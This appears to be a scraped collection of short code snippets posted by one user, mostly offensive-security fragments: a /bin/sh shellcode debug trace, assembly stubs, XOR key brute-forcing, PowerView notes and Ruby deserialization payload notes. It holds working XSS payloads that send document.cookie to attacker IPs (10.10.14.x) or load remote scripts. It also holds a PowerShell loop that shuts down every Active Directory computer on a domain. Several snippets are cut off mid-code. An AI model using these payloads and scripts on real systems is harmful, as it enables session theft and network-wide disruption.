diego-tella

/*
 * Execute /bin/sh - 27 bytes
 * Dad` <3 baboon
;rdi            0x4005c4 0x4005c4
;rsi            0x7fffffffdf40   0x7fffffffdf40
;rdx            0x0      0x0
;gdb$ x/s $rdi
;0x4005c4:        "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40:  "\304\005@"

diego-tella

global _start

section .text

_start:
    mov rax, 1
    mov rdi, 1
    pop rsi
    mov rdx, 64
    syscall

diego-tella

import sys

def binarySearch(arr, value):
    left = 0
    right = len(arr) 
    while left <= right:
        mid = int((left + right) / 2)
        if arr[mid] == value:
            return mid
        elif arr[mid] > value: #caso o valor seja menor que o meio, logo vai pra esquerda

diego-tella

;https://en.wikipedia.org/wiki/Stack_overflow
global _start
section .text
_start:
    push 0xb0b0ca
    jmp _start

diego-tella

<img src="" id="kek"><script>var hue = "http://10.10.14.14/"+document.cookie;document.getElementById("kek").src=hue</script>

<img/src=x onerror="window.location.replace('http://10.10.14.74/aaabcd'.concat(document.cookie));">

/*Importing script*/
<img src/onerror=import('http:example.com')>

<img src/onerror=s=document.createElement('script');s.src='http://example.com/X.js';document.body.appendChild(s)>

diego-tella

import sys
number = int(sys.argv[1])

for i in range(1,255):
    print("Chave: "+str(i)+" - "+str(number^i))

diego-tella

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace testeRaceCondition
{
    class Program
    {

diego-tella

$computers = Get-ADComputer -Filter * -Property Name | Select-Object -ExpandProperty Name

foreach ($computer in $computers) {
    shutdown -s -t 0 -m "\\$computer"
}

diego-tella

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

diego-tella

Based on excellent write-up from https://www.elttam.com.au/blog/ruby-deserialization/

Doesn't work to use YAML.dump(payload) in the above script. This only produces the following YAML, which is worthless:

--- !ruby/object:Gem::Requirement
requirements:
- - ">="
  - !ruby/object:Gem::Version
 version: '0'